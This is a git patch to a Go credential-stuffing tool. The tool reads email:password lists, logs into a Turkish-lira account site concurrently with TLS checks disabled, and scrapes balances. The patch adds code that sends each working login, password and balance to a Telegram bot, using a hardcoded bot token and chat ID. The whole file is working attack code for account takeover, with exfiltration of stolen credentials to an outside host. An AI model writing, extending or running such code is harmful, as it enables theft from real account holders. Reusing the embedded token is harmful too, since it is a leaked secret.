From 6fc082d5777c04bdc75db402073b6b0a90628f1c Mon Sep 17 00:00:00 2001 From: yusiqo Date: Mon, 3 Feb 2025 03:31:58 +0000 Subject: [PATCH] Update main.go --- main.go | 82 +++++++++++++++++++++++++++++++++------------------------ 1 file changed, 48 insertions(+), 34 deletions(-) diff --git a/main.go b/main.go index 0ee54ad..ab683a6 100644 --- a/main.go +++ b/main.go @@ -8,9 +8,16 @@ import ( "log" "net/http" "net/http/cookiejar" + "net/url" "os" "regexp" "strings" + "sync" +) + +const ( + telegramToken = "7408806061:AAGy__Qhk05rjyHs_IC6NNv7WJmzvAmaKEc" + telegramChatID = "1342133634" ) func main() { @@ -25,34 +32,45 @@ func main() { defer file.Close() scanner := bufio.NewScanner(file) - for scanner.Scan() { - jar, _ := cookiejar.New(nil) + var wg sync.WaitGroup + semaphore := make(chan struct{}, 10) // Aynı anda 30 işlem - client := &http.Client{ - Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}, - Jar: jar, - } + for scanner.Scan() { + semaphore <- struct{}{} + wg.Add(1) line := scanner.Text() - parts := strings.Split(line, ":") - if len(parts) != 2 { - fmt.Printf("Geçersiz format: %s\n", line) - continue - } + go func(line string) { + defer wg.Done() + defer func() { <-semaphore }() - email := parts[0] - password := parts[1] + jar, _ := cookiejar.New(nil) + client := &http.Client{ + Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}, + Jar: jar, + } - csrfToken, err := getCSRFToken(client) - if err != nil { - log.Printf("CSRF token alınamadı: %v\n", err) - continue - } + parts := strings.Split(line, ":") + if len(parts) != 2 { + fmt.Printf("Geçersiz format: %s\n", line) + return + } - login(client, csrfToken, email, password) + email := parts[0] + password := parts[1] + csrfToken, err := getCSRFToken(client) + if err != nil { + log.Printf("CSRF token alınamadı: %v\n", err) + return + } + + login(client, csrfToken, email, password) + }(line) } + wg.Wait() + if err := scanner.Err(); err != nil { log.Fatalf("Dosya okuma hatası: %v", err) } @@ -81,7 +99,7 @@ func getCSRFToken(client *http.Client) (string, error) { re := regexp.MustCompile(`]*class="balance"[^>]*>([\d,]+) TL`) match := re.FindStringSubmatch(string(body)) if len(match) > 1 { - + fmt.Printf("Live Acc: %s:%s\n", email, password) + fmt.Printf("TL Miktarı: %s\n", match[1]) + sendTelegramNotification(email, password, match[1]) } else { fmt.Println("Miktar bulunamadı.") } - fmt.Printf("Live Acc: %s:%s", email, password) - fmt.Printf("TL Miktarı: %s\n", match[1]) return true, nil } else { - //fmt.Println("Sunucu Yanıtı:", string(body)) fmt.Printf("Dead Acc: %s:%s\n", email, password) return false, nil } - } -func appendToFile(filename, content string) { - file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) - if err != nil { - log.Fatalf("Dosya yazma hatası: %v", err) - } - defer file.Close() +func sendTelegramNotification(email, password, balance string) { + message := fmt.Sprintf("Live Account Found!\nEmail: %s\nPassword: %s\nBalance: %s TL", email, password, balance) + escapedMessage := url.QueryEscape(message) + apiURL := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s", telegramToken, telegramChatID, escapedMessage) - _, err = file.WriteString(content) + _, err := http.Get(apiURL) if err != nil { - log.Fatalf("Dosyaya yazma hatası: %v", err) + log.Printf("Telegram bildirimi gönderilemedi: %v", err) } }